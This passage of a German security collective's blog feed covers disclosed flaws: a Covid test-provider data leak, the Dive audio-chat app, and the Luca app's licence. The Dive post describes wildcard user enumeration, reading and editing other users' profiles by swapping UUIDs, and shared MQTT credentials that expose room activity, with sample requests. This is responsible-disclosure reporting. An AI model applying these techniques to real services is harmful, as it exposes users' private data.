&lt;p&gt;Im Unterschied zum letzten Mal: Testen ist kein optionales Feature mehr. In einigen Bundesländern sind Tests inzwischen &lt;a href=&#34;https://www.rbb24.de/politik/thema/2020/coronavirus/beitraege_neu/2020/04/berlin-corona-massnahmen-lockerung-ausgang-kontakt-erlaubt.html&#34;&gt;Vorraussetzung für Teile des öffentlichen Lebens&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Auch wenn man nicht gerade in den Baumarkt, zum Friseur oder zum Möbelhaus muss, können Tests ein sehr wirksames Mittel in der Pandemiebekämpfung sein, wenn sie für alle verfügbar, leicht zugänglich und auch &lt;em&gt;technisch&lt;/em&gt; sicher sind. Dazu gehört auch, dass man sich mit gutem Gewissen testen (und impfen) lassen kann, ohne dabei Angst haben zu müssen, dass die eigenen Daten plötzlich öffentlich sind.&lt;/p&gt;
&lt;h2 id=&#34;wieso-kommen-solche-lücken-immer-wieder-vor&#34;&gt;Wieso kommen solche Lücken immer wieder vor?&lt;/h2&gt;
&lt;p&gt;Unternehmen scheinen bei solchen Problemen keine Konsequenzen zu fürchten.
Wenn wir so etwas finden, gibt es zwar negative Presse, &lt;a href=&#34;https://www.rbb24.de/politik/thema/corona/beitraege/2021/04/berlin-corona-schnelltest-privatunternehmen-offenbar-in-auftragsvergabe-senat-involviert.html&#34;&gt;aber am Ende dürfen solche Anbieter weitermachen, oder sogar an Ausschreibungen mitschreiben und diese auf sich selber optimieren&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Stattdessen sollten die Datenschutzbehörden solche Vorfälle ernst nehmen und z. B.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;die Anbieter zwingen, &lt;em&gt;allen&lt;/em&gt; Kund*innen Bescheid zu sagen sowie&lt;/li&gt;
&lt;li&gt;empfindliche Strafen verhängen.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Solch härteres Vorgehen wäre rechtlich bereits möglich, es müsste nur getan werden.&lt;/p&gt;
&lt;p&gt;Der Schutz von Gesundheitsdaten, darf nicht auf die leichte Schulter genommen werden.&lt;/p&gt;
&lt;p&gt;Dabei darf die besondere Pandemielage und schnelle Handlungsfähigkeit keine Ausrede sein.&lt;/p&gt;
&lt;p&gt;Unternehmen müssen hier ihrer Schutz- und Sorgfaltspflicht &lt;strong&gt;vor dem Start&lt;/strong&gt; nachkommen – und wenn sie dies nicht können, dann haben sie in diesem Bereich nichts verloren.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Bei der Veröffentlichung haben wir mit Journalist*innen von MDR, NDR und rbb zusammengearbeitet. Auf den folgenden Seiten findet ihr weitere fundierte Informationen, Recherchen und eine journalistische Einordnung:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.mdr.de/nachrichten/deutschland/politik/corona-testergebnisse-durch-sicherheitsluecke-im-internet-100.html&#34;&gt;Radiobeitrag des MDR&lt;/a&gt; und &lt;a href=&#34;https://www.ndr.de/nachrichten/info/Exklusiv-Datenleck-bei-Corona-Testzentren,audio866996.html&#34;&gt;des NDR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.rbb24.de/panorama/thema/corona/beitraege/2021/04/datenleck-testcenter-eventus-media-berlin-schnelltests.html&#34;&gt;Artikel des rbb|24&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.tagesschau.de/multimedia/video/video-847525.html&#34;&gt;Beitrag in der 12.00 Uhr-Tagesschau&lt;/a&gt; und &lt;a href=&#34;https://www.tagesschau.de/investigativ/ndr/datenleck-corona-test-101.html&#34;&gt;Tagesschau.de-Artikel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Danke dafür &amp;lt;3&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;strong&gt;Update:&lt;/strong&gt; Da uns Rückfragen zu unterschiedlichen Registrierungszahlen erreichten: Die 7.000 war die Zahl der Registrierungen mit Ergebnissen, die man vor Ostern abrufen konnte und die wir so auch an das BSI gemeldet haben. Am 06.04.2021 (also nach Ostern) waren vor dem Fix der Lücke über 14.000 Registrierungen mit Ergebnissen zugänglich.
&lt;/div&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2021-03-31: Wir schauen uns den Anbieter an und finden die Lücke. Wir beginnen das Problem nachvollziehbar aufzuschreiben.&lt;/li&gt;
&lt;li&gt;2021-04-02 04:00 Uhr: Wir senden Aufschrieb ans CERT-Bund beim BSI&lt;/li&gt;
&lt;li&gt;2021-04-06: BSI leitet Informationen an Datenschutzbeauftrage*n des Unternehmens weiter&lt;/li&gt;
&lt;li&gt;2021-04-06: Lücke ist geschlossen&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Dive – Use with Hackphones</title>
      <link>https://zerforschung.org/posts/dive/</link>
      <pubDate>Fri, 02 Apr 2021 23:30:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/dive/</guid>
      <description>&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/dive/dive_slogan_hack.png&#34;
         alt=&#34;Abgewandelter Dive Slogan &amp;#39;Use with Hackphones&amp;#39;&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Vor einiger Zeit haben &lt;a href=&#34;https://zerforschung.org/posts/gespraeche-aus-dem-clubhouse/&#34;&gt;wir uns&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/clubhouse-telefonnummern-de/&#34;&gt;bereits&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/clubhouse-endless-audio-fun-de/&#34;&gt;Clubhouse&lt;/a&gt; angeschaut.&lt;br&gt;
Nun gibt es einen neuen, bislang sehr exklusiven deutschen Stern am Audio-Chat-Himmel: Dive – dieser Klon von Clubhouse legt laut Gründer*innen besonders großen Wert auf Datenschutz.&lt;/p&gt;
&lt;p&gt;Nachdem ein Zerforschungsmitglied eine Einladung für Dive bekommen hat, haben wir routinemäßig mal in den Datenverkehr geschaut und leider schon wieder Schlimmes gefunden.
Nur so viel schonmal: Viel besser als Clubhouse ist das nicht.&lt;/p&gt;
&lt;p&gt;Schon als wir das erste Mal in den Traffic geschaut haben, wunderten wir uns:
Alle Profilbilder wurden unverschlüsselt über HTTP geladen – völlig grundlos, weil die Bilder von Amazon S3 geladen werden, das TLS unterstützt.&lt;/p&gt;
&lt;h2 id=&#34;wer-nutzt-eigentlich-dive&#34;&gt;Wer nutzt eigentlich Dive?&lt;/h2&gt;
&lt;p&gt;Bei &lt;a href=&#34;https://twitter.com/neathack/status/1354110664793587713&#34;&gt;Clubhouse gab es eine Lücke, mit der alle User aufgelistet werden konnten&lt;/a&gt;. Dive ist so ein guter Klon, sie haben das direkt mit kopiert.&lt;/p&gt;
&lt;p&gt;Sucht man über den Such-Endpunkt nach &lt;code&gt;*&lt;/code&gt;, liefert dieser alle Nutzer*innen.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;results&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;USERS&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;items&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UserResult&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;USER&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;userId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{USER_UUID}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{USERNAME}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{DESCRIPTION}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;firstName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{FIRST_NAME}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{LAST_NAME}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profilePhotoUrl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://s3.eu-central-1.amazonaws.com/dive-photo-profile/live/{...}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;live&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;total&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1843&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;!--
Doch woher bekommt man die UUID einer anderen Person?
Eine Stelle, an der diese steht, ist in der Suche.
Und praktischerweise erhält man über den Such-Endpunkt alle Nutzer\*innen, wenn man nach `*` sucht.
--&gt;
&lt;p&gt;Nachdem wir die Lücke an Dive gemeldet haben, konnte man nicht mehr nach &lt;code&gt;*&lt;/code&gt; suchen, um eine Liste aller Nutzer*innen zu bekommen. Stattdessen geht aber &lt;code&gt;**&lt;/code&gt; 🙃&lt;/p&gt;
&lt;p&gt;Haben wir alle Usernames, können wir die Profile anfragen.
Dort steht jeweils, von wem man eingeladen wurde.
So lässt sich sehr einfach der Einladungsgraph rekonstruieren.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dive/dive_invite_graph.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dive/dive_invite_graph.png&#34;
         alt=&#34;Invite Graph der Dive Nutzer\*innen&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;!--

Witzig: [Genau diese Lücke hat Clubhouse auch gehabt](https://twitter.com/neathack/status/1354110664793587713)
--&gt;
&lt;h2 id=&#34;wie-ist-deine-e-mail-adresse&#34;&gt;Wie ist deine E-Mail-Adresse?&lt;/h2&gt;
&lt;p&gt;Dive nutzt an vielen Stellen &lt;a href=&#34;https://de.wikipedia.org/wiki/Universally_Unique_Identifier&#34;&gt;UUIDs&lt;/a&gt;, also zufällig generierte, global eindeutige IDs. Das ist schonmal besser, &lt;a href=&#34;https://zerforschung.org/posts/medicus&#34;&gt;als einfach nur hochzuzählen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Fragt man über die Dive-API das eigene Profil an, so steht in der URL auch die eigene Nutzer*innen-UUID: &lt;code&gt;/users-service/users/{USER_UUID}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Verwendet man hier eine fremde UUID, die man zum Beispiel in der Suche gefunden hat, so erhält man auch das Profil einer*s anderen Nutzer*in.
Dort sind auch einige Informationen enthalten, die sonst nicht öffentlich sichtbar sind, z.B. die E-Mail-Adresse und die Einladungscodes.
Dadurch kann man sich von einem beliebigen anderen Account, der noch ungenutzte Einladungscodes hat, einladen lassen. Ein zerforschungs-Mitglied hat seinen Test-Account von &amp;ldquo;@dive&amp;rdquo; einladen lassen 🙃.&lt;/p&gt;
&lt;p&gt;Wir denken, dass dies eine Verletzung der Datenschutzerklärung ist, in der es heißt: &amp;ldquo;We may share the following information with all members, as well as with our business partners and the general public: public information such as your username, name and profile pictures;&amp;rdquo;
Eine Veröffentlichung der E-Mail-Adresse ist dort nicht erwähnt.&lt;/p&gt;
&lt;h2 id=&#34;du-heißt-jetzt-horst&#34;&gt;Du heißt jetzt Horst!&lt;/h2&gt;
&lt;p&gt;Auch den Endpunkt zum Bearbeiten des Profils haben wir angesehen.
An diesen wird ein POST-Request mit einem JSON-Object des folgenden Formats übertragen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{Nachname}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;firstName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{Vorname}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{Beschreibung}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{USER_UUID}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sendet man hier statt der eigenen User-UUID die eines*r anderen Nutzers*in, wird stattdessen dessen*deren Profil bearbeitet.&lt;/p&gt;
&lt;p&gt;Die Passwörter anderer Nutzer*innen konnten wir nicht ändern. Das liegt einfach daran, dass es diese Funktion in der App (noch?) nicht gibt.&lt;/p&gt;
&lt;h2 id=&#34;welche-räume-hat-dive-offen&#34;&gt;Welche Räume hat dive offen?&lt;/h2&gt;
&lt;p&gt;Dive nutzt WebRTC für die Audiochats und MQTT für das Signaling.
Nachdem man in der App einen Raum betritt, wird durch einen Request die aktuelle MQTT-Config geladen.
Die Config scheint für alle Nutzer*innen die gleiche zu sein.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;port&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1883&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;host&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;notify-broker.diverail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;poc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{PASSWORD}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tls&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Über diesen MQTT-Server lassen sich auf einen Schlag alle aktuell geöffneten Räume abrufen – und wer wann in welchem Raum ist.
Auch einzelne Aktionen in den Räumen (Ton an/aus, &amp;ldquo;Klatschen&amp;rdquo;) sieht man so.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/dive/mqtt_screenshot.png&#34;
         alt=&#34;Screenshot von MQTT-Messages, wie z.B. dass eine Benutzer\*in den Raum betreten hat&#34;/&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;dives-reaktion&#34;&gt;Dives Reaktion&lt;/h2&gt;
&lt;p&gt;Wir haben Dive natürlich schnell Bescheid gesagt und um ein Statement gebeten.
Dive ist auf unsere Hinweise eingegangen und hat die meisten Sicherheitslücken geschlossen.
Nur der MQTT-Server ist noch offen und mit den gleichen Credentials erreichbar.
Dies ist laut Dive kein Problem.&lt;/p&gt;
&lt;p&gt;Auf die Frage, seit wann die Sicherheitslücken bekannt sind, antwortete uns Dive:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wir hatten die Vermutung derer Existenz [sic!] und planten, diese zu schließen. Bis zu eurem Bericht hatten wir keinen Vorfall.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nach &lt;a href=&#34;https://dejure.org/gesetze/DSGVO/33.html&#34;&gt;Art 33&lt;/a&gt; und &lt;a href=&#34;https://dejure.org/gesetze/DSGVO/34.html&#34;&gt;Art 34 DSGVO&lt;/a&gt; müssen Betroffene und die zuständigen Datenschutzbehörden bei &amp;ldquo;Verletzungen des Schutzes personenbezogener Daten&amp;rdquo; informiert werden, wenn bestimmte Bedingungen erfüllt werden.&lt;/p&gt;
&lt;p&gt;Diese sieht Dive nach eigener Aussage nicht erfüllt, hat die zuständige Datenschutzbehörde &amp;ldquo;im Interesse der Transparenz&amp;rdquo; aber trotzdem benachrichtigt. Sie haben &lt;strong&gt;nicht&lt;/strong&gt; vor, die betroffenen Nutzer*innen zu informieren.&lt;/p&gt;
&lt;p&gt;Das finden wir sehr schade und die Berliner Beauftragte für Datenschutz und Informationsfreiheit schrieb zu &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;einem anderen Fall&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ungeachtet dieser gegebenenfalls vorliegenden Pflicht zur Benachrichtigung Betroffener empfiehlt die Datenschutzbeauftragte prinzipiell, die betroffenen Personen über den Vorfall zu informieren, um möglichst schnell größtmögliche Transparenz herzustellen. Unsere Erfahrungen zeigen, dass Betroffene es bei allem Unmut über einen Datenschutzverstoß ganz überwiegend positiv anerkennen, wenn der Verantwortliche zu seinem Fehler steht und von sich aus und vor allem zeitnah über den Sachverhalt aufklärt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Für später in diesem Jahr plant Dive ein Bug Bounty Programm.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Das ist nun schon das zweite Audio-Chat-Startup, bei dem wir Sicherheitslücken finden.
Gerade wenn man sich als &lt;a href=&#34;https://t3n.de/news/live-audio-dive-deutsch-clubhouse-1352498/&#34;&gt;datenschutzkonforme Alternative zu Clubhouse&lt;/a&gt; anpreist, sollte man auf sowas ganz besonders achten.
Und wenn man schon ahnt, dass es solche Lücken gibt, sollte man das Produkt nicht veröffentlichen; auch nicht für eine semi-private Beta.&lt;/p&gt;
&lt;p&gt;Die Gründer*innen von Dive haben davor bereits andere Startups gegründet, zB den Scooter-Anbieter circ.
Von solchen &lt;del&gt;Serientätern&lt;/del&gt;Serial Entrepreneurs hätten wir mehr Erfahrung erwartet und fürchten uns jetzt etwas um die Sicherheit ihrer anderen Dienste.&lt;/p&gt;
&lt;p&gt;Dass uns regelmäßig extrem offensichtliche Lücken in Apps deutscher Startups auffallen, schafft kein Vertrauen in die Sicherheit deutscher Softwarekunst.&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;Für mehr Spaß mit Zerforschung kann man uns hier unterstützen&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Die Luca-Lizenz (LL-ND-NC-WTF)</title>
      <link>https://zerforschung.org/posts/luca-2/</link>
      <pubDate>Tue, 30 Mar 2021 23:30:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/luca-2/</guid>
      <description>&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	&lt;strong&gt;Update&lt;/strong&gt;: Inzwischen hat #LucaApp die Lizenz auf eine GPLv3 geändert und die fehlenden Lizenzhinweise bei manchen der Files ergänzt.
&lt;/div&gt;
&lt;p&gt;#LucaApp hatte nach viel Kritik und gutem Zureden angekündigt, ihre App zu OpenSourcen. Nun tauchte das erste Repository auf – mit der schlimmsten Lizenz, die wir seit Langem gelesen haben. Nur Betrachtung, keine Veränderung, keine Mirrors, etc. 🧵&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://gitlab.com/lucaapp/android/-/blob/a30432ec4a01c2ca7ea9ceb26c145e7b620435fc/LICENSE&#34;&gt;https://gitlab.com/lucaapp/android/-/blob/a30432ec4a01c2ca7ea9ceb26c145e7b620435fc/LICENSE&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/luca-2/ExwSsWoXMAcpA3d.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/luca-2/ExwSsWoXMAcpA3d.jpg&#34;
         alt=&#34; Eingeschränkte Lizenz zur Betrachtung des Quellcodes der Applikation „luca“ für Android basierte Geräte  (nachfolgend „Quellcode“) Copyright (c) 2019 - 2021 culture4life GmbH, ihre verbundene Unternehmen und Lizenzgeber.   Alle Rechte vorbehalten. Der Quellcode wird ausschließlich zum Zwecke der Betrachtung für persönliche, nicht-kommerzielle Zwecke auf nicht-ausschließlicher, nicht-unterlizenzierbarer  und nicht-übertragbarer Basis bereitgestellt. Eine darüberhinausgehende Einräumung von Rechten erfolgt nicht.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Damit kann eigentlich niemand einen Audit machen, der eine Spendenseite hat, denn das könnten kommerzielle Zwecke sein. Da die nicht-private Nutzung ausgeschlosen ist, ist auch unklar, ob unabhängige Organisationen so etwas machen können.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wenn jemand einen Audit macht und etwas findet, dürfte man keine Code-Schnipsel zeigen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/luca-2/ExwWIXeWgAMuL6i.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/luca-2/ExwWIXeWgAMuL6i.png&#34;
         alt=&#34;Der Betrachter darf insbesondere nicht (und darf nicht gestatten, dass Dritte dies tun) mittelbar oder unmittelbar: (a) den Quellcode anderweitig  vervielfältigen oder verarbeiten; (b) den Quellcode teilen oder öffentlich  wiedergeben;  (c) den Quellcode auf ein öffentliches oder verteiltes Netzwerk  kopieren; (d) den Quellcode modifizieren, anpassen, übersetzen oder abgeleitete  Werke erstellen, die auf dem Quellcode basieren; oder (e) den Quellcode in  sonstiger Weise kommerziell oder nicht-kommerziell nutzen.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Als Nicht-Juristen ist uns auch völlig unklar, ob geteilte Screenshots nicht schon eine Quellcode-Kopie »auf ein öffentliches oder verteiltes Netzwerk« sind. 🙈&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;culture4life behält sich außerdem das Recht vor, diese &amp;ldquo;Lizenz&amp;rdquo; »jederzeit und ohne Vorankündigung widerrufen« zu können – das finden wir schon ganz schön dreist. Entweder #LucaApp stellt sich der öffentlichen Kontrolle und dann bleibt der Code auch &amp;ldquo;offen&amp;rdquo;. Oder eben nicht.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/luca-2/ExwZGbAWYAA13K6.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/luca-2/ExwZGbAWYAA13K6.jpg&#34;
         alt=&#34;Die culture4life GmbH übernimmt keinerlei ausdrückliche oder stillschweigende Haftung oder Gewährleistung für den Quellcode. Diese Eingeschränkte Lizenz kann von der culture4life GmbH jederzeit und ohne Vorankündigung widerrufen werden. Das Entfernen oder Verändern jeglicher Eigentumsvermerke aus oder im  Zusammenhang mit dem Quellcode ist untersagt.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Außerdem ist es untersagt, »den Quellcode [zu] übersetzen«. Unklar ob hier kompilieren oder in andere Sprachen übersetzen gemeint ist. Egal, beides Quatsch!&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/Exwa3yjWQAYhbLY.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/Exwa3yjWQAYhbLY.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
